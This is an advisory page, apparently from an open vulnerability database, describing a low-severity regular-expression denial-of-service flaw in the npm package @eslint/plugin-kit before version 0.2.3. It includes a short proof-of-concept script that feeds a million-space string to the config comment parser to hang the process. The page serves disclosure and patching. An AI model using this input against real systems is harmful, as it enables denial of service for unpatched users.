Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS03cTdnLTR4bTgtODljcc4ABBaa

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage
Permalink: https://github.com/advisories/GHSA-7q7g-4xm8-89cq
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cTdnLTR4bTgtODljcc4ABBaa
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: about 1 month ago
Updated: about 1 month ago


CVSS Score: 3.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

EPSS Percentage: 0.00043
EPSS Percentile: 0.10511

Identifiers: GHSA-7q7g-4xm8-89cq, CVE-2024-21539
References: Repository: https://github.com/eslint/rewrite
Blast Radius: 1.0

Affected Packages

npm:@eslint/plugin-kit
Dependent packages: 0
Dependent repositories: 0
Downloads: 23,741,403 last month
Affected Version Ranges: < 0.2.3
Fixed in: 0.2.3
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.2.2
All unaffected versions: 0.2.3, 0.2.4